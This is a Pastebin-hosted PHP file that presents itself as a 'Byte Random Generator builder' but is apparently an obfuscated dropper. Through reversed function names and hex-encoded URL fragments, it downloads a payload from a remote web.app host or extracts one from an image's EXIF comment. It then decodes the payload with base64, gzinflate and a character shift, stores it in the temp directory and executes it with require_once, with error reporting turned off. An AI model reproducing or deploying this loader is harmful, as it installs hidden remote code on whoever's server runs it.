Advertisement
willysec_id

Byte Random Generator Builder

Dec 5th, 2024 (edited)
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.86 KB | Cybersecurity | 0 0
  1. <?php
  2. /**
  3.  * Phyo186 Deprecated Byte Random Generator builder for latest php version.
  4.  *
  5.  * @author  Agent Phyo 1 <ini_phyo@asia-sigma.org>
  6.  * @author  Agent Phyo 3 <phyo186_3@asia-sigma.org>
  7.  *
  8.  * @see     https://www.istanaimpian.ltd/
  9.  *
  10.  * @license MIT License see LICENSE file
  11.  */
  12.  
  13. class create_function {
  14.     private $shift;
  15.  
  16.     public function __construct($shift = 1) {
  17.         error_reporting(0);
  18.         $this->shift = $shift;
  19.     }
  20.     public function outterTable(){
  21.         $mat = $this->rev("eli"."fpmt");
  22.         return $mat();
  23.     }
  24.     public function init($kasihdua){
  25.         $leuy = array(
  26.             "\x6E\x69\x62\x2E\x25\x35\x66\x25\x32\x46",
  27.             "\x70\x70\x61\x2E\x62\x65\x77\x2E\x61\x74",
  28.             "\x61\x64\x2D\x6F\x79\x68\x70\x25\x32\x46",
  29.             "\x25\x32\x46\x25\x33\x41\x73\x70\x74\x74\x68"
  30.         );
  31.         $mat = $this->rev("edo"."lpmi");
  32.         return $mat('', $leuy);
  33.     }
  34.     public function dash(){
  35.         $leuy = array(
  36.             "\x36\x38\x65\x36\x66\x33\x63\x65\x31\x38",
  37.             "\x32\x30\x30\x37\x61\x35\x37\x38\x64\x62",
  38.             "\x66\x66\x34\x66\x66\x66\x64\x35\x64\x61\x61\x32"
  39.         );
  40.         $mat = $this->rev("edo"."lpmi");
  41.         return $mat('', $leuy);
  42.     }
  43.     public function splitter(){
  44.         $leuy = array(
  45.             "\x37\x38\x31\x35\x36\x39\x36\x65\x63\x62\x66\x31",
  46.             "\x63\x39\x36\x65\x36\x38\x39\x34\x62\x37\x37\x39",
  47.             "\x34\x35\x36\x64\x33\x33\x30\x65\x5F\x64\x61\x74",
  48.             "\x61\x70\x61\x72\x73\x65\x72\x2E\x62\x69\x6E"
  49.         );
  50.         $mat = $this->rev("edo"."lpmi");
  51.         return $mat('', $leuy);
  52.     }
  53.     public function check($leuy){
  54.         return function_exists($leuy);
  55.     }
  56.     public function build($prod){
  57.         $aw = $this->rev("etirwf");
  58.         $td = $this->outterTable();
  59.         $mat = $this->rev("atad_atem_teg_maerts");
  60.         $aw($td, $prod);
  61.         require_once($mat($td)["\x75\x72\x69"]);
  62.         return fclose($td);
  63.         }
  64.     public function raw($str) {
  65.         return preg_replace_callback(
  66.             '/%([0-9a-f]{2})/i',
  67.             function ($matches) {
  68.                 return chr(hexdec($matches[1]));
  69.             },
  70.             $str
  71.         );
  72.     }
  73.     public function Rev($str) {
  74.         preg_match_all('/./us', $str, $matches);
  75.         return implode('', array_reverse($matches[0]));
  76.     }
  77.     public function blyad($bam, $bim, $bum){
  78.         $mat = $this->rev("tpotes_lruc");
  79.         return $mat($bam, $bim, $bum);
  80.     }
  81.     public function getOut($anjay){
  82.         $mat = $this->rev("cexe_lruc");
  83.         return $mat($anjay);
  84.     }
  85.     public function suka($blyad){
  86.         $blyad = array(
  87.             CURLOPT_URL,
  88.             CURLOPT_RETURNTRANSFER,
  89.             CURLOPT_FOLLOWLOCATION
  90.         );
  91.         return $blyad;
  92.     }
  93.     public function naked($aw, $iw, $uw, $ew, $ow){
  94.         $mat = $this->rev("nepo"."kcosf");
  95.         return $mat($aw, $iw, $uw, $ew, $ow);
  96.     }
  97.     public function outbound($ayang){
  98.         $mat = $this->rev("stnetnoc_teg_elif");
  99.         return $mat($ayang);
  100.     }
  101.     public function inbound($ayang_aku, $yameteh){
  102.         $mat = $this->rev("stnetnoc_tup_elif");
  103.         return $mat($ayang_aku, $yameteh);
  104.     }
  105.     public function btoa($input) {
  106.         $kyawchars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
  107.         $paddingChar = '=';
  108.         $paddingCount = substr_count($input, $paddingChar);
  109.    
  110.         $kyawcharsArray = array_flip(str_split($kyawchars));
  111.         $kyawahh = '';
  112.    
  113.         $input = str_replace($paddingChar, '', $input);
  114.         $inputLength = strlen($input);
  115.    
  116.         for ($i = 0; $i < $inputLength; $i += 4) {
  117.             $chunk = 0;
  118.             for ($j = 0; $j < 4; $j++) {
  119.                 $chunk |= ($kyawcharsArray[$input[$i + $j]] << (18 - ($j * 6)));
  120.             }
  121.    
  122.             for ($j = 0; $j < 3; $j++) {
  123.                 if ($j < (3 - $paddingCount)) {
  124.                     $kyawahh .= chr(($chunk >> (16 - ($j * 8))) & 0xFF);
  125.                 }
  126.             }
  127.         }
  128.    
  129.         return $kyawahh;
  130.     }
  131.     public function jeep($ahh){
  132.         $mat = $this->rev("etalfnizg");
  133.         return $mat($ahh);
  134.     }
  135.     public function dataku($ahh, $wkwk, $kocak){
  136.         $mat = $this->rev("atad_daer_fixe");
  137.         return $mat($ahh, $wkwk, $kocak);
  138.     }
  139.     public function inti2(){
  140.         $a = array(
  141.             "\x67\x70\x6A\x2E\x38\x35\x2D\x38\x33\x2D\x33\x31\x25\x35\x66\x30\x31\x2D\x30\x31",
  142.             "\x2D\x33\x32\x30\x32\x25\x35\x66\x6F\x74\x6F\x68\x70\x25\x32\x46\x6E\x64\x63\x25",
  143.             "\x32\x46\x70\x70\x61\x2E\x62\x65\x77\x2E\x61\x74\x61\x64\x2D\x6F\x79\x68\x70\x25",
  144.             "\x32\x46\x25\x32\x46\x25\x33\x41\x73\x70\x74\x74\x68"
  145.         );
  146.  
  147.         return $this->rev($this->raw($this->rev("edo"."lpmi")('', $a)));
  148.  
  149.     }
  150.     public function parser($data){
  151.         $bam = $this->rev("rid_pmet_teg_sys");
  152.         $bam1 = $this->rev("stsixe_elif");
  153.         $bam2 = $this->rev("tini_lruc");
  154.         $bam3 = $this->rev("edolpmi");
  155.         $bam4 = $this->rev("etirwf");
  156.         $fileNome = $this->splitter();
  157.         $fileRAW = $data;
  158.         $tmpDir = $bam();
  159.         $filePos = $tmpDir . '/'. $fileNome;
  160.         $nyari = "ixqfwlrq#nMxOTjYki+";
  161.         if (!$bam1($filePos) || strpos($bam3('', file($filePos)), $nyari) === false) {
  162.             if($this->check($this->rev("atad_daer_fixe"))) {
  163.                 $fileData = $this->jeep($this->btoa($this->dataku($this->inti2(), 0, true)['COMPUTED']['UserComment']));
  164.             } else if ($this->check($this->rev("tini_lruc"))) {
  165.                 $ch = $bam2();
  166.                 $this->blyad($ch, $this->suka(0)[0], $fileRAW);
  167.                 $this->blyad($ch, $this->suka(0)[1], 1);
  168.                 $this->blyad($ch, $this->suka(0)[2], true);
  169.                 $fileData = $this->getOut($ch);
  170.                 curl_close($ch);
  171.             } elseif ($this->check($this->rev("elif"))){
  172.                 $fileData = $bam3('', file($fileRAW));
  173.             }elseif ($this->check($this->rev("nepokcosf"))) {
  174.             $urlParts = parse_url($fileRAW);
  175.             $host = $urlParts[$this->rev("tsoh")];
  176.             $path = $urlParts[$this->rev("htap")];
  177.  
  178.             $fp = $this->naked($this->rev("//:lss").$host, 443, $errno, $errstr, 30);
  179.             if (!$fp) {
  180.                 echo "$errstr\x20\x28$errno\x29\x3C\x62\x72\x20\x2F\x3E\n";
  181.             } else {
  182.                 $out = "\x47\x45\x54\x20" . $path . "\x20\x48\x54\x54\x50\x2F\x31\x2E\x31\r\n";
  183.                 $out .= "\x48\x6F\x73\x74\x3A\x20" . $host . "\r\n";
  184.                 $out .= "\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E\x3A\x20\x43\x6C\x6F\x73\x65\r\n\r\n";
  185.                 $bam4($fp, $out);
  186.                 $bb = $this->rev("foef");
  187.                 $cc = $this->rev("stegf");
  188.                 $dd = $this->rev("esolcf");
  189.                 while (!$bb($fp)) {
  190.                     $line = $cc($fp, 1024);
  191.                     if (trim($line) == '') {
  192.                         break;
  193.                     }
  194.             }
  195.  
  196.             $fileData = '';
  197.             while (!$bb($fp)) {
  198.                 $fileData .= $cc($fp, 1024);
  199.             }
  200.             $dd($fp);
  201.         }
  202.          }else{
  203.                 $fileData = $this->outbound($fileRAW);
  204.             }
  205.             $this->inbound($filePos, $fileData);
  206.         }
  207.         $conn = $this->outbound($filePos);
  208.         return $conn;
  209.         }
  210.     public function Builder($input) {
  211.         $output = '';
  212.         for ($i = 0; $i < strlen($input); $i++) {
  213.             $ascii = ord($input[$i]);
  214.             $ascii -= $this->shift;
  215.             $output .= chr($ascii);
  216.         }
  217.         return $output;
  218.     }
  219. }
  220. $stdIn = new create_function(3, "GENERATE_RANDOM_BYTE");
  221. $password = $stdIn->dash();
  222. $stdIn->build($stdIn->Builder($stdIn->parser($stdIn->Rev($stdIn->raw($stdIn->init(2))))));
  223. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement